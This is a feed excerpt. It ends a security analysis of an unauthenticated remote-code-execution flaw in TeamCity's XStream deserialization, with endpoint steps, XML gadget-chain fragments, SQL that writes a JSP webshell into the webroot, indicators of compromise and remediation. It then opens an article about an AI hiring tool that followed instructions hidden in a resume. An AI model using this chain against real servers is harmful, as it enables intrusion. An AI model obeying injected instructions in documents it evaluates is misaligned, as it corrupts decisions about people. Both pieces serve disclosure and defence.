     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }</pre><p></p><p><span>XStream's </span><span><span data-type="inlineCode">SecurityMapper.addPermission()</span></span><span> clears its permission list when it receives </span><span><span data-type="inlineCode">NoTypePermission.NONE</span></span><span>. The </span><span><span data-type="inlineCode">allowTypes</span></span><span> calls that follow </span><span><span data-type="inlineCode">[3]</span></span><span> now operate on a deny-by-default baseline, i.e., </span><span><span data-type="inlineCode">Map</span></span><span> and </span><span><span data-type="inlineCode">Throwable</span></span><span> are no longer allowed types. The </span><span><span data-type="inlineCode">TeamCityProperties.getBooleanOrTrue()</span></span><span> call at </span><span><span data-type="inlineCode">[4]</span></span><span> means the new property defaults to </span><span><span data-type="inlineCode">true</span></span><span>, so clearing the permission list at </span><span><span data-type="inlineCode">[3]</span></span><span> will now occur by default on a patched server.</span></p><h3><span>Root cause</span></h3><p><span>The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting </span><span><span data-type="inlineCode">Map</span></span><span> therefore covers classes that implement </span><span><span data-type="inlineCode">Map</span></span><span> such as </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span>, while permitting </span><span><span data-type="inlineCode">Throwable</span></span><span> covers exception subclasses such as </span><span><span data-type="inlineCode">RuntimeException</span></span><span>. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.</span></p><p></p><p><span>The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented </span><span><span data-type="inlineCode">class</span></span><span> name or </span><span>class</span><span> attribute passes through </span><span><span data-type="inlineCode">SecurityMapper.realClass()</span></span><span>. By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete </span><span><span data-type="inlineCode">class</span></span><span> attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.</span></p><p></p><p><span>Applied here, this allows a deserialization payload that begins with TeamCity's </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>. This class extends </span><span><span data-type="inlineCode">RuntimeException</span></span><span>, so XStream accepts it under the default </span><span><span data-type="inlineCode">Throwable</span></span><span> hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing </span><span><span data-type="inlineCode">HSQLMetadataStorage</span></span><span> instance. From there, the exact declared fields </span><span><span data-type="inlineCode">myHSQLStorage</span></span><span> and </span><span><span data-type="inlineCode">myDataSource</span></span><span> lead XStream to an </span><span><span data-type="inlineCode">org.apache.commons.dbcp2.BasicDataSource</span></span><span>. XStream follows those field types without resolving </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> from an explicit element name or </span><span><span data-type="inlineCode">class</span></span><span> attribute, even though TeamCity </span><span><span data-type="inlineCode">2026.1.2</span></span><span> rejects that class when the XML names it directly. The patched version </span><span><span data-type="inlineCode">2026.1.3</span></span><span> stops the chain earlier by rejecting </span><span><span data-type="inlineCode">SchemaMismatchException</span></span><span>, which is absent from TeamCity's explicit protocol allowlist.</span></p><h3><span>Triggering the vulnerability</span></h3><p><span>First, the server accepts an agent registration request via an HTTP POST to the </span><span><span data-type="inlineCode">/app/agents/v1/register</span></span><span> endpoint, and returns a new session identifier in the </span><span><span data-type="inlineCode">TeamCity-AgentSessionId</span></span><span> response header.</span></p><p></p><p><span>The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the </span><span><span data-type="inlineCode">/app/agents/v1/commands/error</span></span><span> endpoint. The handler for this endpoint is the method </span><span><span data-type="inlineCode">handleCommands</span></span><span>, shown below. This will validate the incoming request’s </span><span><span data-type="inlineCode">TeamCity-AgentSessionId</span></span><span> header before calling the handler for the error command.</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // &lt;--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // &lt;--- call the error handler
          }
      }
      return null;
  }</pre><p></p><p><span>The method </span><span><span data-type="inlineCode">handleCommandIsFailedRequest</span></span><span> will then proceed to unsafely deserialize the incoming request’s XML body.</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // &lt;--- deserialize attacker's XML

    // ...
}</pre><p></p><p><span>Error.fromXml()</span><span> calls </span><span>XStreamWrapper.deserializeObject()</span><span>. By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.</span></p><h3><span>The gadget chain</span></h3><p><span>The gadget chain's objective is to make TeamCity call </span><span><span data-type="inlineCode">BasicDataSource.getConnection()</span></span><span> on an attacker-configured object. That getter starts the following path from deserialization to command execution:</span></p><p></p><ol><li><p><span>The payload reconstructs a </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> configured to use TeamCity's bundled HSQLDB driver.</span></p></li><li><p><span>A collection callback causes FreeMarker to resolve the JavaBean property </span><span><span data-type="inlineCode">connection</span></span><span>, which invokes </span><span><span data-type="inlineCode">BasicDataSource.getConnection()</span></span><span>.</span></p></li><li><p><span>Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in </span><span><span data-type="inlineCode">connectionInitSqls</span></span><span>.</span></p></li><li><p><span>The final SQL statement uses HSQLDB's </span><span><span data-type="inlineCode">SCRIPT</span></span><span> command to write a malicious JSPWS file into TeamCity's webroot.</span></p></li><li><p><span>The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example </span><span><span data-type="inlineCode">Runtime.getRuntime().exec()</span></span><span> can be used to execute an attacker-controlled OS command.</span></p></li></ol><p><span>The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> when the XML names it directly, and merely constructing a datasource does not call its </span><span><span data-type="inlineCode">getConnection()</span></span><span> method. </span></p><h4><span>Object graph construction</span></h4><p><span>The payload's XML root is a three-entry </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span>. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named </span><span><span data-type="inlineCode">connection</span></span><span>.</span></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2a835b1e1c45ab1a/6a75f185be33783f5ddaccb8/figure1.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure1.png" asset-alt="figure1.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2a835b1e1c45ab1a/6a75f185be33783f5ddaccb8/figure1.png" data-sys-asset-uid="blt2a835b1e1c45ab1a" data-sys-asset-filename="figure1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure1.png" sys-style-type="display"></figure><p><span><em>Figure 1: High-level gadget chain flow to </em></span><span>BasicDataSource.getConnection()</span><span><em>.</em></span></p><p></p><p><span>The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span> retains their insertion order in the resulting Java object.</span></p><h5><span>Entry one: construct and configure the datasource</span></h5><p><span>The first entry begins with </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>. This class extends </span><span><span data-type="inlineCode">RuntimeException</span></span><span>, so XStream accepts it under the default </span><span><span data-type="inlineCode">Throwable</span></span><span> hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden </span><span>this$0</span><span> field pointing to its enclosing </span><span><span data-type="inlineCode">HSQLMetadataStorage</span></span><span> object. XStream serializes that compiler-generated reference as </span><span><span data-type="inlineCode">outer-class</span></span><span>.</span></p><p></p><p><span>The enclosing </span><span><span data-type="inlineCode">HSQLMetadataStorage</span></span><span> declares a field named </span><span><span data-type="inlineCode">myHSQLStorage</span></span><span> with the exact type </span><span><span data-type="inlineCode">HSQLStorage</span></span><span>. That class, in turn, declares </span><span><span data-type="inlineCode">myDataSource</span></span><span> with the exact type </span><span><span data-type="inlineCode">BasicDataSource</span></span><span>. Because the XML does not represent either field with a new element type or </span><span><span data-type="inlineCode">class</span></span><span> attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:</span></p><p><span></span></p><pre language="xml">&lt;jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException&gt;
  &lt;outer-class&gt;
    &lt;myHSQLStorage&gt;
      &lt;myDataSource&gt;
        &lt;driverClassName&gt;org.hsqldb.jdbc.JDBCDriver&lt;/driverClassName&gt;
        &lt;url&gt;jdbc:hsqldb:mem:&lt;random&gt;&lt;/url&gt;
        &lt;userName&gt;SA&lt;/userName&gt;
        &lt;connectionInitSqls&gt;
&lt;!-- attacker-controlled HSQLDB statements --&gt;
&lt;/connectionInitSqls&gt;
      &lt;/myDataSource&gt;
    &lt;/myHSQLStorage&gt;
  &lt;/outer-class&gt;
&lt;/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException&gt;</pre><p></p><p><span>XStream encodes the dollar sign in a Java inner-class name as </span><span><span data-type="inlineCode">_-</span></span><span> when it creates an XML element name. The element ending in </span><span><span data-type="inlineCode">HSQLMetadataStorage_-SchemaMismatchException</span></span><span> therefore identifies the Java class </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>.</span></p><h5><span>Entry two: expose the datasource through FreeMarker</span></h5><p><span>The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker </span><span><span data-type="inlineCode">HashAdapter</span></span><span>. </span><span><span data-type="inlineCode">HashAdapter</span></span><span> extends </span><span><span data-type="inlineCode">AbstractMap</span></span><span>, so XStream accepts the explicit class under its default </span><span><span data-type="inlineCode">Map</span></span><span> hierarchy permission.</span></p><p></p><p><span>The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a </span><span><span data-type="inlineCode">BooleanModel</span></span><span> through the exact </span><span><span data-type="inlineCode">BeansWrapper.falseModel</span></span><span> field, then populates the model's inherited </span><span><span data-type="inlineCode">BeanModel.object</span></span><span> field with a reference to the </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> in entry one instead of a Boolean value. Finally, </span><span><span data-type="inlineCode">HashAdapter.model</span></span><span> refers to that </span><span><span data-type="inlineCode">BooleanModel</span></span><span>:</span></p><p><span></span></p><pre language="xml">&lt;freemarker.ext.beans.HashAdapter&gt;
  &lt;wrapper&gt;
    &lt;!-- Class-introspection state from the PoC is omitted here. --&gt;
    &lt;falseModel&gt;
      &lt;object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/&gt;
      &lt;wrapper reference="../.."/&gt;
      &lt;value&gt;false&lt;/value&gt;
    &lt;/falseModel&gt;
    &lt;!-- Remaining BeansWrapper state from the PoC is omitted here. --&gt;
  &lt;/wrapper&gt;
  &lt;model reference="../wrapper/falseModel"/&gt;
&lt;/freemarker.ext.beans.HashAdapter&gt;</pre><p><span></span></p><p><span>The reference attributes preserve object identity rather than create copies. </span><span><span data-type="inlineCode">BooleanModel.object</span></span><span> points to the existing datasource, </span><span><span data-type="inlineCode">HashAdapter.model</span></span><span> points to the existing </span><span><span data-type="inlineCode">BooleanModel</span></span><span>, and </span><span><span data-type="inlineCode">BooleanModel.wrapper</span></span><span> points back to the same </span><span><span data-type="inlineCode">BeansWrapper</span></span><span>. No reference introduces a new concrete class node. In particular, </span><span><span data-type="inlineCode">&lt;object&gt;</span></span><span> does not repeat the </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> type, so XStream does not perform a new explicit lookup for that denied class. The shared </span><span><span data-type="inlineCode">BeansWrapper</span></span><span> supplies the class introspection used later to resolve the </span><span><span data-type="inlineCode">connection</span></span><span> property.</span></p><h5><span>Entry three: trigger the property lookup</span></h5><p><span>The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a </span><span><span data-type="inlineCode">HashSet</span></span><span>, accepted under XStream's default </span><span><span data-type="inlineCode">Collection</span></span><span> hierarchy permission, and a Commons Collections </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span>, accepted under the default </span><span><span data-type="inlineCode">Map.Entry</span></span><span> hierarchy permission. A </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span> ties a key to a backing map. Here, its </span><span><span data-type="inlineCode">map</span></span><span> field refers to the </span><span><span data-type="inlineCode">HashAdapte</span></span><span>r</span><span> from entry two, and its key is the string </span><span><span data-type="inlineCode">connection</span></span><span>:</span></p><p><span></span></p><pre language="xml">&lt;set&gt;
  &lt;org.apache.commons.collections.keyvalue.TiedMapEntry&gt;
    &lt;map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/&gt;
&lt;key class="string"&gt;connection&lt;/key&gt;
  &lt;/org.apache.commons.collections.keyvalue.TiedMapEntry&gt;
&lt;/set&gt;</pre><p></p><p><span>The </span><span><span data-type="inlineCode">reference</span></span><span> value is relative to the nested </span><span><span data-type="inlineCode">&lt;map&gt;</span></span><span> element. Four </span><span><span data-type="inlineCode">../</span></span><span> steps return to the </span><span><span data-type="inlineCode">LinkedHashMap</span></span><span> root, and XPath's one-based </span><span><span data-type="inlineCode">entry[2]</span></span><span> index selects the second entry. Reusing that adapter preserves its connection to the </span><span><span data-type="inlineCode">BooleanModel</span></span><span> and, through the model, to the datasource from entry one.</span></p><p></p><p><span>Object construction now ends with one continuous route: </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span> to </span><span><span data-type="inlineCode">HashAdapter</span></span><span>, </span><span><span data-type="inlineCode">HashAdapter</span></span><span> to </span><span><span data-type="inlineCode">BooleanModel</span></span><span>, and </span><span><span data-type="inlineCode">BooleanModel</span></span><span> to </span><span><span data-type="inlineCode">BasicDataSource</span></span><span>. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span> into the </span><span><span data-type="inlineCode">HashSet</span></span><span>.</span></p><h4><span>Triggering gadget execution</span></h4><p><span>A </span><span><span data-type="inlineCode">HashSet</span></span><span> stores elements by hash. When XStream inserts the reconstructed </span><span><span data-type="inlineCode">TiedMapEntry</span></span><span>, </span><span><span data-type="inlineCode">HashSet.add()</span></span><span> automatically calls </span><span><span data-type="inlineCode">TiedMapEntry.hashCode()</span></span><span>. That method calls </span><span><span data-type="inlineCode">getValue()</span></span><span>, which performs </span><span><span data-type="inlineCode">map.get(key)</span></span><span> against the referenced </span><span><span data-type="inlineCode">HashAdapter</span></span><span> with </span><span><span data-type="inlineCode">connection</span></span><span> as the key. It is worth noting that this is a mechanism very similar to that used by the classic </span><a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java"><span>CommonsCollections6</span></a><span> ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the </span><span><span data-type="inlineCode">ChainedTransformer</span></span><span> and </span><span><span data-type="inlineCode">InvokerTransformer</span></span><span> classes used by CommonsCollections6.</span></p><p></p><p><span>The resulting call to </span><span><span data-type="inlineCode">HashAdapter.get("connection")</span></span><span> passes the property name </span><span>connection</span><span> to the referenced </span><span><span data-type="inlineCode">BooleanModel</span></span><span>. </span><span><span data-type="inlineCode">BooleanModel</span></span><span> inherits FreeMarker's </span><span><span data-type="inlineCode">BeanModel</span></span><span> property lookup. JavaBeans use a naming convention in which a property named </span><span><span data-type="inlineCode">connection</span></span><span> can be read through a public </span><span><span data-type="inlineCode">getConnection()</span></span><span> method, so FreeMarker invokes </span><span><span data-type="inlineCode">BasicDataSource.getConnection()</span></span><span>.</span></p><p></p><p><span>A Java </span><span><span data-type="inlineCode">DataSource</span></span><span> is a factory for Java Database Connectivity (JDBC) connections. </span><span><span data-type="inlineCode">BasicDataSource</span></span><span> is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized </span><span><span data-type="inlineCode">jdbc:hsqldb:mem:</span></span><span> URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled </span><span><span data-type="inlineCode">connectionInitSqls</span></span><span>, a list of SQL statements intended to initialize each new connection.</span></p><p></p><p><span>The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:</span></p><p><span></span></p><pre language="sql">CREATE TABLE IF NOT EXISTS T&lt;RANDOM&gt;(C&lt;RANDOM&gt; VARCHAR(4000))
INSERT INTO T&lt;RANDOM&gt; VALUES ('&lt;% ... Runtime.getRuntime().exec(command) ... %&gt;')
SCRIPT '../webapps/ROOT/&lt;random-hex&gt;.jspws'</pre><p></p><p><span>HSQLDB's </span><span><span data-type="inlineCode">SCRIPT</span></span><span> statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by </span><a href="https://secfault-security.com/blog/libreoffice.html"><span>Secfault Security</span></a><span> as part of a LibreOffice exploit.</span></p><h3><span>Executing a JSP payload</span></h3><p><span>Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in </span><span><span data-type="inlineCode">WEB-INF/web.xml</span></span><span>. TeamCity defines </span><span><span data-type="inlineCode">realJspServlet</span></span><span> as Jasper's </span><span><span data-type="inlineCode">org.apache.jasper.servlet.JspServlet</span></span><span>, then maps the custom </span><span><span data-type="inlineCode">*.jspws</span></span><span> extension directly to it. By contrast, TeamCity sends ordinary </span><span><span data-type="inlineCode">*.jsp</span></span><span> requests to its </span><span><span data-type="inlineCode">buildServer</span></span><span> dispatcher:</span></p><p><span></span></p><pre language="xml">&lt;servlet&gt;
  &lt;servlet-name&gt;realJspServlet&lt;/servlet-name&gt;
  &lt;servlet-class&gt;org.apache.jasper.servlet.JspServlet&lt;/servlet-class&gt;
&lt;/servlet&gt;

&lt;servlet-mapping&gt;
  &lt;servlet-name&gt;realJspServlet&lt;/servlet-name&gt;
  &lt;url-pattern&gt;*.jspws&lt;/url-pattern&gt;
&lt;/servlet-mapping&gt;

&lt;servlet-mapping&gt;
  &lt;servlet-name&gt;buildServer&lt;/servlet-name&gt;
  &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt;
&lt;/servlet-mapping&gt;</pre><p></p><p><span>The </span><span><span data-type="inlineCode">buildServer</span></span><span> servlet does not dispatch every direct </span><span><span data-type="inlineCode">.jsp</span></span><span> request to Jasper. The corresponding </span><span><span data-type="inlineCode">JspController.doHandle()</span></span><span> method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:</span></p><p><span></span></p><pre language="java">// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        &amp;&amp; SessionUser.getUser(request) == null
        &amp;&amp; !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}</pre><p><span></span></p><p><span>We therefore target </span><span><span data-type="inlineCode">.jspws</span></span><span>, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as </span><span><span data-type="inlineCode">Runtime.getRuntime().exec()</span></span><span> which in turn can deliver the payload.</span></p><h2>Exploitation</h2><p><span>A proof-of-concept script for CVE-2026-63077 can be found </span><a href="https://github.com/sfewer-r7/CVE-2026-63077"><span>here</span></a><span>. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.</span></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07463067f24e4b1c/6a75f477afd7db392d5294cc/poc2.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="poc2.png" asset-alt="poc2.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07463067f24e4b1c/6a75f477afd7db392d5294cc/poc2.png" data-sys-asset-uid="blt07463067f24e4b1c" data-sys-asset-filename="poc2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="poc2.png" sys-style-type="display"></figure><p><span><em>Figure 2: Proof-of-concept exploitation.</em></span></p><p></p><p><span>The vendor-supplied patch, version </span><span><span data-type="inlineCode">2026.1.3</span></span><span>, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The </span><span><span data-type="inlineCode">teamcity-server.log</span></span><span> file on a patched system shows the new XStream </span><span><span data-type="inlineCode">NoTypePermission.NONE</span></span><span> added by the patch to effectively prevent the gadget chain's first entry, </span><span><span data-type="inlineCode">HSQLMetadataStorage$SchemaMismatchException</span></span><span>, from having its type successfully resolved.</span></p><p><span></span></p><pre language="html">[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...</pre><h2>IOC</h2><p><span>On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file </span><span><span data-type="inlineCode">C:\TeamCity\logs\teamcity-server.log</span></span><span> the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:</span></p><p></p><pre language="html">[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...</pre><p></p><p><span>A similar exception in a </span><span><span data-type="inlineCode">javaLogging</span></span><span> file (for example, </span><span><span data-type="inlineCode">C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log</span></span><span>) will also show the gadget chain’s JSPWS payload as part of an </span><span><span data-type="inlineCode">org.hsqldb.HsqlException</span></span><span> message:</span></p><p><span></span></p><pre language="html">07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...</pre><h2>Remediation</h2><p><span>For remediation guidance, please see Rapid7’s Emergent Threat Response </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-63077-critical-unauthenticated-remote-code-execution-in-jetbrains-teamcity/"><span>blog</span></a><span> for CVE-2026-63077, which contains further details.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your AI hiring tool isn’t an HR problem. It’s a security one]]></title>
<description><![CDATA[For years, applicant tracking systems and recruiting platforms were treated as HR technology: Important for workflow, efficiency, compliance and candidate experience, but rarely viewed as core security infrastructure. That assumption no longer holds. Once AI begins reading resumes, scoring candid...]]></description>
<link>https://tsecurity.de/de/3710292/it-security-nachrichten/your-ai-hiring-tool-isnt-an-hr-problem-its-a-security-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710292/it-security-nachrichten/your-ai-hiring-tool-isnt-an-hr-problem-its-a-security-one/</guid>
<pubDate>Fri, 07 Aug 2026 23:48:04 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, applicant tracking systems and recruiting platforms were treated as HR technology: Important for workflow, efficiency, compliance and candidate experience, but rarely viewed as core security infrastructure. That assumption no longer holds. Once AI begins reading resumes, scoring candidates, conducting interviews, ranking applicants and influencing who moves forward, the hiring platform stops being a passive system of record. It becomes a decision system.</p>



<p class="wp-block-paragraph">And any system that accepts public input, processes sensitive data and influences business decisions belongs inside the security conversation.</p>



<p class="wp-block-paragraph">I learned this during an AI hiring platform rollout that never made it to production. The vendor was established, the product had a strong market reputation and the AI feature looked attractive: Upload a resume, compare it to a job description and return a neat percentage match. For recruiters, it promised speed. For executives, it promised modernization.</p>



<p class="wp-block-paragraph">Before moving real candidate data into the system, I tested it with synthetic resumes. One weak resume came back with a surprisingly strong match. The reason was not hidden in the candidate’s experience. It was hidden in the text. The resume contained language instructing the AI to treat the candidate as an excellent fit, and the system appeared to follow that instruction instead of evaluating the resume on merit.</p>



<p class="wp-block-paragraph">That changed the question from “Does the tool improve productivity?” to “Can the person being evaluated influence the evaluation itself?”</p>



<p class="wp-block-paragraph">That is a security question.</p>



<h2 class="wp-block-heading">The trust boundary has moved</h2>



<p class="wp-block-paragraph">CIOs do not need to become recruiting experts. They only need to look at the mechanics.</p>



<p class="wp-block-paragraph">An anonymous user submits content into an enterprise system. That content is processed by software. The software then produces an output that can influence a business decision. In every other environment, security teams know what to call that: untrusted input crossing a trust boundary.</p>



